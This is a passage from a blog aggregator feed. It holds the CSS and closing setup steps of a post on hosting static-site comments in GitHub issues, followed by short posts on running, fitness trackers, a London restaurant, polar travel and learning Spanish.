&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;float&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-family&lt;/span&gt;: helvetica, arial, freesans, clean, &lt;span style="color: #66d9ef;"&gt;sans-serif&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-size&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;12&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-variant&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-weight&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;bold&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;line-height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;16&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-left&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;5&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-right&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;10&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-x&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-y&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-overflow&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;clip&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-shadow&lt;/span&gt;: rgba(&lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;0.699219&lt;/span&gt;) &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;white-space&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;nowrap&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentheader&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentdate&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;transparent&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#777&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;display&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;inline&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;float&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-family&lt;/span&gt;: helvetica, arial, freesans, clean, &lt;span style="color: #66d9ef;"&gt;sans-serif&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-size&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;11&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-variant&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-weight&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;line-height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;33&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-x&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-y&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-overflow&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;clip&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-shadow&lt;/span&gt;: rgba(&lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;0.699219&lt;/span&gt;) &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;white-space&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;nowrap&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;20&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentbody&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-attachment&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;scroll&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-clip&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;border-box&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;transparent&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-image&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-origin&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;padding-box&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#333&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;display&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;block&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-bottom&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-left&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-right&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-top&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;40&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-x&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-y&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;position&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;static&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;96&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;word-wrap&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;break-word&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentbody&lt;/span&gt; &lt;span style="color: #f92672;"&gt;p&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-bottom&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0.5&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-top&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0.5&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-left&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-right&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentbody&lt;/span&gt; &lt;span style="color: #f92672;"&gt;pre&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;#ddd&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#eef&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;.4&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentbody&lt;/span&gt; &lt;span style="color: #f92672;"&gt;pre&lt;/span&gt; &lt;span style="color: #f92672;"&gt;code&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;#ddd&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentbody&lt;/span&gt; &lt;span style="color: #f92672;"&gt;code&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;#ddd&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#eef&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-size&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;85&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;.2&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With those four steps, I can introduce comments on any given blog post (or any page with the support code in place). Again, note that most of the code came from Ivan Zuzak&amp;rsquo;s post, with some small modifications on my part.&lt;/p&gt;
&lt;h2 id="adding-comments-to-a-post"&gt;Adding comments to a post&lt;/h2&gt;
&lt;p&gt;Now all that is left to do is perform the following steps for any post that you want to have comments. For each post, do the following:&lt;/p&gt;
&lt;p&gt;1. Create a new issue in your designated repo to act as a host for your comments for that particular post. Every issue follows a base URL: &lt;code&gt;https://github.com/{GITHUB USERNAME}/{REPO NAME}/issues/{ISSUE ID #}&lt;/code&gt;. Each issue is given a unique ID that is visible in the URL of the issue after it has been created. For example, &lt;a href="https://github.com/seanlane/seanlane-comments/issues/1"&gt;https://github.com/seanlane/seanlane-comments/issues/1&lt;/a&gt;:&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://sean.lane.sh/images/2016/01/comments_on_github/issue.png" /&gt;&lt;figcaption&gt;
            &lt;h4&gt;Screenshot of the Github issues page for this post's comments&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;2. Take the ID for that issue that will serve as the comments page for a particular post, and add the ID as a property in the page YAML front matter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ---
    layout: post
    title: Comments on Github
    commentIssueId: 1
    ---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When properly setup, we will then see an appropriate comments section after our blog post:&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://sean.lane.sh/images/2016/01/comments_on_github/comments_example.png" /&gt;&lt;figcaption&gt;
            &lt;h4&gt;Screenshot of the Comments in action&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;It might be a slight hack, but now I have an easy way to pull comments into my static website without involving a third-party platform or forcing users to download yet another Javascript tracking widget. Hopefully, my example is of use to someone, and I appreciate Ivan&amp;rsquo;s post for leading the way.&lt;/p&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="http://chrislema.com/killed-disqus-commenting/http://chrislema.com/killed-disqus-commenting/"&gt;http://chrislema.com/killed-disqus-commenting/http://chrislema.com/killed-disqus-commenting/&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Disqus#Criticism_and_privacy_concerns"&gt;https://en.wikipedia.org/wiki/Disqus#Criticism_and_privacy_concerns&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;&lt;a href="http://ivanzuzak.info/2011/02/18/"&gt;http://ivanzuzak.info/2011/02/18/&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:3"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;&lt;a href="http://ivanzuzak.info/2011/02/18/github-hosted-comments-for-github-hosted-blogs.html#par11"&gt;http://ivanzuzak.info/2011/02/18/github-hosted-comments-for-github-hosted-blogs.html#par11&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:4"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Tue, 26 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2016/01/Hosting-comments-within-issues-on-Github-Pages/</guid></item><item><title>Janathon 2016 #25</title><link>https://rjp.is/blogging/posts/janathon-2016-25-2/</link><description>A heavy-legged recovery run to the local garage for some Red Bull and a KitKat Chunky. Bleugh.
[Heavy Legs Make Slow Running]</description><author>infrequent oscillations</author><pubDate>Mon, 25 Jan 2016 23:11:29 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-25-2/</guid></item><item><title>Garmin vs Fitbit</title><link>https://rjp.is/blogging/posts/garmin-vs-fitbit-2/</link><description>Preamble Garmin data from my TCX files via tapiriik sync Fitbit data downloaded using API with &amp;ldquo;1sec&amp;rdquo; resolution Only data points coincident on seconds are used Tools used Modified version of my TCX dumper FitBit.py Ploticus Various shell commands (awk, sort, etc.) Results 48 minutes of hill repeats; Garmin using smart recording; Fitbit in exercise mode. 39 minutes of walking; Garmin using 1sec recording; Fitbit in passive mode. 39 minutes of walking; Garmin using 1sec recording; Fitbit in passive mode.</description><author>infrequent oscillations</author><pubDate>Mon, 25 Jan 2016 08:33:09 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/garmin-vs-fitbit-2/</guid></item><item><title>Fischer's London: yes, but…</title><link>https://xenodium.com/fischers-london-yes-but</link><description>&lt;h2&gt;Yes&lt;/h2&gt;
&lt;p&gt;Step into a Viennese blast from the past. Beautiful setting and pleasant vibe. Ordered a dirty martini on the rocks, a bottle of Merlot, Käsespätzle (with bacon), and Wiener Schnitzel (with anchovy/capers/egg). All very tasty.&lt;/p&gt;
&lt;h2&gt;But…&lt;/h2&gt;
&lt;p&gt;Surprisingly, desserts (Topfenstrudel, Berggasse and coffee) were nothing spectacular. Also not a cheap eat (£50 per person).&lt;/p&gt;
&lt;h2&gt;Photos&lt;/h2&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-03.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-04.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-05.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-06.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-07.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-08.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-09.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-10.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-11.JPG" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/fischers-london-yes-but/fischers-12.JPG" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 25 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/fischers-london-yes-but</guid></item><item><title>Polar travel bookmarks</title><link>https://xenodium.com/polar-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.quarkexpeditions.com/en"&gt;Quark expeditions&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 25 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/polar-travel-bookmarks</guid></item><item><title>Learning Spanish: Conversation connectors</title><link>https://josh.works/learning-spanish-conversation-connectors</link><description>&lt;p&gt;I’m learning Spanish right now, 
&lt;a href="/2-things-spanish"&gt;as I’ve mentioned&lt;/a&gt;. The bad news is I’ve been in some state of
learning spanish for the better part of the last 15 years. My mom’s parents came here from Paraguay, and so she and her siblings are all native Spanish speakers, plus their spouses. Family get togethers are usually conducted in Spanish.&lt;/p&gt;

